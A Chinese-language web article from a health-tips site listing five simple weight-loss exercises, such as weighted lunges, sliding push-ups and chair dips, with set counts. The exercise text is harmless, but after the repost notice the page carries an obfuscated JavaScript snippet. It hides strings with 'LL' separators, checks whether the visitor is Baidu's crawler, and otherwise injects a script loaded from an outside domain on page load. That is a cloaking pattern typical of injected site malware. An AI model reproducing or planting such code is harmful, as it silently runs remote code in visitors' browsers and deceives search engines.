當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥簡單運動有什么?

2017-04-23 10:57:14  來源:360常識網(wǎng)   熱度:
導語:減肥不是多么復雜的一件事情,只要能夠選對方法,完全可以達到不錯的效果,那么減肥簡單運動有什么?各種各樣的運動方式都是需要正確選擇的

減肥不是多么復雜的一件事情,只要能夠選對方法,完全可以達到不錯的效果,那么減肥簡單運動有什么?各種各樣的運動方式都是需要正確選擇的,也要在制定好長期的計劃之后付諸于實踐當中,即便是一些小的動作或運動方式,也會在不懈的努力之后發(fā)揮不錯的功效。

1.負重弓箭步深蹲

找一個箱子或者幾塊板子墊在一起,一只腳放到上面,另一腳向前跨一大步,雙手在胸前托住一個重物(可以在你的旅行袋里放上半打礦泉水)。雙腿同時彎曲,呈弓箭步下蹲,然后還原。15個動作為一組,完成一組交換雙腳位置

2.滑行俯臥撐

俯臥撐不用說了,上中學的時候就會。這里要講一個加大難度的俯臥撐:在兩只手掌下面各墊一張紙或者一塊布——用來減小摩擦系數(shù),在撐起身體的同時,慢慢把兩只手相對滑動、靠攏,然后還原身體和雙手。怎么樣,這回就不那么容易了吧?20個為一組。

3.單腿臂支撐

找一把椅子,雙手撐在坐椅邊緣,支撐上身重量,一條腿彎曲,一條腿向前平伸。用手臂和單腿的力量支撐,慢慢下降身體,直到上臂與地面平行,然后慢慢還原。15個動作為一組,完成一組換腿。

4.臥撐舉腿

呈俯臥撐姿勢,但把兩只小臂向前平放在地面上,鎖定肩膀關(guān)節(jié)不動,保持脊柱伸直。同時抬起左腿和右手,伸直抬離地面,保持3秒左右,然后還原。20個動作為一組,完成一組換另一邊的腿和手臂。

5.負重側(cè)平舉

直立,雙腳分開與肩同寬,雙手各拎一桶水(重量視個人情況而定)。手肘微彎,呈側(cè)平舉姿勢慢慢提起水桶到肩膀高度,保持幾秒鐘,然后慢慢放下雙臂。注意:動作和還原時一定要慢,否則鍛煉效果只能打?qū)φ邸?5個動作為一組。

上文中對減肥簡單運動有什么給出了明確的介紹,每個人都需要養(yǎng)成運動的好習慣,這一點是很重要的。運動鍛煉的過程中,一方面可以消耗熱量燃燒脂肪,將體內(nèi)囤積的脂肪逐漸的轉(zhuǎn)化掉,另一方面還可以改善消化功能,避免脂肪的再次囤積。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}